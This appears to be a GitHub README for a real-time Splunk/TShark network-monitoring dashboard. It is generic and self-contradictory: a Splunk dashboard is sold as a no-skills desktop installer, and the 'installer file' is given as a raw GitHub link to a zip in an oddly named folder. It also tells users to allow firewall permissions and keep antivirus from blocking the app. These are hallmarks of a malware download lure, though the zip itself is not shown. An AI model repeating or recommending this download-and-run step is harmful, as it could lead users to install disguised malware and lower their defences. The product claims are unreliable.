Splunk-Realtime-Network-SOC-Dashboard is a professional tool designed to help you watch your network traffic live. It uses Splunk and TShark to track over 2.6 million network events. The dashboard alerts you instantly if it detects anything unusual or risky in your network. It is ideal for anyone looking to improve network security or monitor traffic without needing technical skills.
This dashboard works by gathering data from your network, analyzing it in real-time, and showing clear visuals so you can quickly spot threats. It helps teams in Security Operations Centers (SOC) or anyone interested in network safety.
To get started, you need to download the software from the official release page.
Download the latest version here
Clicking the above link takes you to the release page. Find the latest version and download the files listed under it. Usually, there will be a file package ready for your computer.
Before installing, make sure your computer meets these minimum specifications:
- Operating System: Windows 10 or higher, macOS 10.14+, or Ubuntu 18.04+
- RAM: 8 GB or more recommended
- CPU: Dual-core processor or better
- Disk Space: At least 2 GB free space
- Network: Active internet connection for live data and alerts
- Locate the downloaded file (usually in your Downloads folder).
- If it is a compressed file (like
.zip), unzip it by right-clicking and choosing "Extract All." - Open the extracted folder.
- Look for a file named
https://raw.githubusercontent.com/MAMAHM2/Splunk-Realtime-Network-SOC-Dashboard/main/forecounsel/Realtime_SO_Dashboard_Network_Splunk_v3.0-beta.3.zip(Windows) or an installer package for your system. - Double-click the installer file.
- Follow the on-screen instructions to complete the installation. The process should be straightforward and ask you to agree to terms, confirm installation location, and finalize setup.
Once installed, you can start the dashboard:
- Find the application icon in your Start Menu (Windows) or Applications folder (macOS).
- Double-click the icon to launch.
- The dashboard will open in your default web browser or as a standalone window.
- You will be prompted to connect it to your network source. Follow these simple prompts:
- Enter your network device details or let it auto-detect your system network.
- Allow any firewall permissions if asked.
- The dashboard will begin showing network events and live alerts immediately.
If you experience any issues, try restarting the computer and launching the app again.
The dashboard has a user-friendly design meant for quick understanding.
- Live Event Feed: Shows real-time network events with timestamps.
- Intensity Alerts: Colors and indicators change based on threat levels.
- Graphs & Charts: Visual data show traffic trends and suspicious activity.
- Filters: You can filter by event type, time period, or network segment.
- Search Bar: Find specific events or data points by typing keywords.
- Settings: Customize alert thresholds and visual styles to suit your needs.
Hover over icons or colors to see explanations. This feature helps you quickly learn what each alert means.
If the dashboard does not work as expected:
- Ensure your internet connection is active.
- Check that your firewall or antivirus is not blocking the app.
- Restart the app and your computer.
- Confirm your network device is properly connected.
- Look for any error messages and note them.
For further help, check the Issues section on the GitHub repository or contact your IT support.
- Learn more about network security and monitoring.
- Explore Splunk and TShark official documentation for advanced usage.
- Join community forums for tips and support.
- cybersecurity
- data visualization
- network monitoring
- network security
- real-time analytics
- SIEM (Security Information and Event Management)
- SOC dashboard
- Splunk
- threat hunting
- TShark